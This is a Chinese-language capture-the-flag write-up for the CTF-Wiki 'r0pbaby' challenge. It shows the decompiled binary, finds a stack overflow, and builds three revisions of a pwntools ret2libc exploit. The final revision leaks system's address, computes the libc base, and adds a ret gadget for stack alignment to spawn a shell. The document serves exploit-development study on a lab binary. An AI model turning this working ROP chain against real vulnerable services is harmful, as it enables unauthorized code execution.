题目来源CTF-Wiki练习题,下载链接:R0pbaby

题目分解

先来检查一下程序保护

1566217533442

64位程序,开启了堆栈不可执行,地址随机化还有一个我们先前没有见过的FORTIFY,谷歌简单查了一下知道它用于检查是否存在缓冲区溢出错误,但只是很轻微的检查,所以我们忽略不计。

先来运行一下看一下它的面貌

1566217862298

程序具有四个选项,其中前两个选项可以输出libc的地址和libc中某一函数的地址,第三个选项可以把数据拷贝到栈上而且给出了我们所能输入的最大值1024,由此盲猜选项三应该存在栈溢出,丢到IDA里面看一看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rsi
const char *v4; // rdi
signed int v5; // eax
unsigned __int64 v6; // r14
int v7; // er13
size_t v8; // r12
int v9; // eax
void *handle; // [rsp+8h] [rbp-448h]
char nptr[1088]; // [rsp+10h] [rbp-440h]
__int64 savedregs; // [rsp+450h] [rbp+0h]

setvbuf(stdout, 0LL, 2, 0LL);
signal(14, handler);
alarm(0x3Cu);
puts("\nWelcome to an easy Return Oriented Programming challenge...");
puts("Menu:");
v3 = (_BYTE *)(&dword_0 + 1);
v4 = "libc.so.6";
handle = dlopen("libc.so.6", 1);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sub_BF7(v4, v3);
if ( !sub_B9A(nptr, 1024LL) )
{
puts("Bad choice.");
return 0LL;
}
v3 = 0LL;
v5 = strtol(nptr, 0LL, 10);
if ( v5 != 2 )
break;
__printf_chk(1LL, "Enter symbol: ");
v3 = (char *)&dword_40;
if ( sub_B9A(nptr, 64LL) )
{
dlsym(handle, nptr);
v3 = "Symbol %s: 0x%016llX\n";
v4 = (_BYTE *)(&dword_0 + 1);
__printf_chk(1LL, "Symbol %s: 0x%016llX\n");
}
else
{
v4 = "Bad symbol.";
puts("Bad symbol.");
}
}
if ( v5 > 2 )
break;
if ( v5 != 1 )
goto LABEL_24;
v3 = "libc.so.6: 0x%016llX\n";
v4 = (_BYTE *)(&dword_0 + 1);
__printf_chk(1LL, "libc.so.6: 0x%016llX\n");
}
if ( v5 != 3 )
break;
__printf_chk(1LL, "Enter bytes to send (max 1024): ");
sub_B9A(nptr, 1024LL);
v3 = 0LL;
v6 = (signed int)strtol(nptr, 0LL, 10);
if ( v6 - 1 > 0x3FF )
{
v4 = "Invalid amount.";
puts("Invalid amount.");
}
else
{
if ( v6 )
{
v7 = 0;
v8 = 0LL;
while ( 1 )
{
v9 = _IO_getc(stdin);
if ( v9 == -1 )
break;
nptr[v8] = v9;
v8 = ++v7;
if ( v6 <= v7 )
goto LABEL_22;
}
v8 = v7 + 1;
}
else
{
v8 = 0LL;
}
LABEL_22:
v3 = nptr;
v4 = (const char *)&savedregs;
memcpy(&savedregs, nptr, v8);
}
}
if ( v5 == 4 )
break;
LABEL_24:
v4 = "Bad choice.";
puts("Bad choice.");
}
dlclose(handle);
puts("Exiting.");
return 0LL;
}

这次的程序在IDA里面有一丢丢庞大,我们一点点来看,前面大部分内容就是控制程序的流程,后面会看到LABEL_22:里面有一个memcpy(&savedregs, nptr, v8);,这是个字符串拷贝函数,使用不当会造成溢出,所以我们需要控制程序ret到我们的shellcode

由于程序的第一个选项是获取到libc的地址,所以我们就要利用libc来获取我们需要的shellcode,先来找一下libc版本

1
2
3
4
5
baymrx@ubuntu:~/Desktop$ ldd ./r0pbaby
linux-vdso.so.1 (0x00007ffce4bad000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f1553c24000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1553833000)
/lib64/ld-linux-x86-64.so.2 (0x00007f155402b000)

可以看到程序使用的是libc.so.6这个链接库,与我们在程序运行时看到的提示相符

然后我们找一下程序覆盖到ret所需要的偏移量,在peda里先生成一个包含50个字符的随机字符串(这里起初想用cyclic,但是运行之后好像不能在64位程序上使用)

1566571667009

在peda中让程序跑起来,执行第三个选项,输入刚刚生成的随机字符串

1566571869125

可以看到程序断在了0x0000555555554eb3这个位置,但我们并没有看到RIP被覆盖,这是因为64位的程序覆盖的地址不能超过0x00007fffffffffff,即RIP里面存的地址不能超过这个值,所以程序崩溃的时候RIP并没有被覆盖,要找到准确的偏移量,我们就要使用 x /gx $rsp 查询esp的值

1566634195503

得到正确的偏移地址0x6e41412441414241,然后我们再使用pattern_offset找到偏移量是8

1566634204631

得到偏移量之后,我们还需要system函数的地址、pop rdi的地址和/bin/sh的地址来构造我们的shellcode,system地址可以从程序中直接读取,另外两个在程序里面找不到就只能根据相对于libc的偏移地址来确定了,而libc的地址刚好也可以从程序中读取,那么下面只需要找到pop和binsh相对于libc的偏移

1566634728175

pop rdi的偏移是0x000000000002155f

1566635174406

/bin/sh的偏移是0x00000000001b3e9a

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
# context.log_level = 'debug'
sh = process('./r0pbaby')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args['M']:
gdb.attach(sh)

sh.sendlineafter(': ','1')
sh.recvuntil('libc.so.6: ')
libc_addr = sh.recvuntil('\n',drop = True)
print '[*]libc_addr: ' + libc_addr
base = int(libc_addr,16)

sh.sendlineafter(': ','2')
sh.sendlineafter(': ','system')
sh.recvuntil('system: ')
system = sh.recvuntil('\n',drop = True)
print '[*]system_addr: ' + system
sys_addr = int(system,16)

binsh = base + 0x00000000001b3e9a
print '[*]binsh: ' + hex(binsh)
pop_rdi = base + 0x000000000002155f
payload = 'a'*8 + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
print '[*]pop_rdi: ' + hex(pop_rdi)

sh.sendlineafter(': ','3')
length = str(len(payload))
sh.sendlineafter('1024): ',length)
sh.sendline(payload)
sh.recvuntil(': ')
sh.send('\n')
sh.interactive()

OK,我们来执行一下,Yea…emmm好像并不能正确获取到shell,程序会直接结束返回终端,脚本抽筋了?

1566635827909

多试了几次,依然是这个结果,显然是脚本编写有问题

修改exp

确定偏移找的没有问题那么我们就需要确认一下程序给我们的地址是不是有问题,打开gdb调试

先让程序正常跑起来,并输出1、2两个选项的地址

1566635957368

然后按Ctrl+C打断程序进入调试模式

先看libc的地址,输入vmmap

1566636062417

可以看到,这里显示的libc地址显然与程序中输出的并不一样。至于原因嘛,程序中输出的libc的地址其实是指向libc的指针的地址

验证

然后我们再来看一下system的地址,输入p system

1566636255068

可以看到这里的system地址与程序中输出的地址是相同的,说明程序中输出的system地址是正确的,而libc地址只是一个幌子,需要我们自己去寻找

由于程序开启了地址随机化(PIE),所以我们肯定不能使用上面找到的地址,程序每启动一次地址都会随之发生变化,只能靠偏移来计算libc基地址。用程序泄露输出的system地址减去libc中查到的system偏移地址就可以得到libc的基地址,这里我们会用到pwntools里的ELF模块

下面修改一下我们之前的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
# context.log_level = 'debug'
sh = process('./r0pbaby')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args['M']:
gdb.attach(sh)

# sh.sendlineafter(': ','1')
# sh.recvuntil('libc.so.6: ')
# libc_addr = sh.recvuntil('\n',drop = True)
# base = int(libc_addr,16)

sh.sendlineafter(': ','2')
sh.sendlineafter(': ','system')
sh.recvuntil('system: ')
system = sh.recvuntil('\n',drop = True)
print '[*]system_addr: ' + system
sys_addr = int(system,16)

base = sys_addr - libc.symbols['system']
binsh = base + 0x00000000001b3e9a
print '[*]binsh: ' + hex(binsh)
pop_rdi = base + 0x000000000002155f
payload = 'a'*8 + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
print '[*]pop_rdi: ' + hex(pop_rdi)

sh.sendlineafter(': ','3')
length = str(len(payload))
sh.sendlineafter('1024): ',length)
sh.sendline(payload)
sh.recvuntil(': ')
sh.send('\n')
sh.interactive()

再次执行脚本

1566644789827

,,好像又失败了,程序再次在获得shell之前就被中断了

再一次修改exp 彡(-_-;)彡(终极)

这次的问题原因找了好久也没有什么头绪,最后决定一点点跟着程序走来看一下到底哪里出现了问题,为什么会获取不到shell

首先怀疑程序脚本没有使程序正确获取到shell,在脚本中添加gdb.attach()进行调试,不断ni执行下一条语句直到出现main函数的ret

1566646966994

从图中可以看出,脚本执行成功覆盖了栈上的数据,而且也是按照我们安排好的顺序排布的,但是却依然不能通过system函数执行获取shell,再继续执行程序查看

1566647192368

pop rdi的调用是没有问题的,那么就继续往下

1566647349326

可以看到字符串/bin/sh的地址也成功被存入rdi寄存器中,前面都没问题,那么问题一定出现在system函数上了,按下c让程序在gdb中继续运行直到它崩掉

1566647493312

然后可以看到程序在<do_system+1094>处崩溃被中断了,这里的movaps XMMWORD PTR [rsp+0x40],xmm0指令是要求[rsp+0x40]的值是16byte(0x10)对齐,否则会直接触发中断使程序崩掉

这里的解决办法就是修改我们的payload,使得程序执行时栈的地址发生变化,从而改变这里system函数中的rsp的值。具体方案是在payload中添加一个ret

先找一下ret指令的偏移

OMG!!有点多……1566648110896

滑动鼠标从最上边开始找吧,

1566648189565

还好,老天还是比较眷顾我们的,把需要的gadget放到了第一个,那么它的偏移就是0x00000000000008aa

再来修改我们的exp,把ret添加进去~~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
# context.log_level = 'debug'
sh = process('./r0pbaby')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args['M']:
gdb.attach(sh)
# sh.sendlineafter(': ','1')
# sh.recvuntil('libc.so.6: ')
# libc_addr = sh.recvuntil('\n',drop = True)
# base = int(libc_addr,16)

sh.sendlineafter(': ','2')
sh.sendlineafter(': ','system')
sh.recvuntil('system: ')
system = sh.recvuntil('\n',drop = True)
print '[*]system_addr: ' + system
sys_addr = int(system,16)

base = sys_addr - libc.symbols['system']
binsh = base + 0x00000000001b3e9a
print '[*]binsh: ' + hex(binsh)
pop_rdi = base + 0x000000000002155f
ret = base + 0x00000000000008aa
payload = 'a'*8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(sys_addr)
print '[*]pop_rdi: ' + hex(pop_rdi)

# binsh2sys_off = 0x164a5a
# system2libc_off = 0x4f440
# pop_rdi2libc_off = 0x2155f
# binsh_addr = sys_addr + binsh2sys_off
# pop_rdi_addr = sys_addr - system2libc_off + pop_rdi2libc_off
# payload = flat(['a'*8,pop_rdi_addr,binsh_addr,sys_addr])
# print "[*]binsh_addr: " + hex(binsh_addr)
# print "[*]pop_rdi_addr: " + hex(pop_rdi_addr)

sh.sendlineafter(': ','3')
length = str(len(payload))
sh.sendlineafter('1024): ',length)
sh.sendline(payload)
sh.recvuntil(': ')
sh.send('\n')
sh.interactive()

在执行一次,

1566648384062

OK,大功告成,终于获得了我们心心念想的shell

在这里要感谢一下Ex大佬提供的解决思路 ~ ~ (传送门)->在一些64位的glibc的payload调用system函数失败问题

另外再推荐一个这道题比较有趣的解题视频:https://www.youtube.com/watch?v=uWPSBqXXB0Y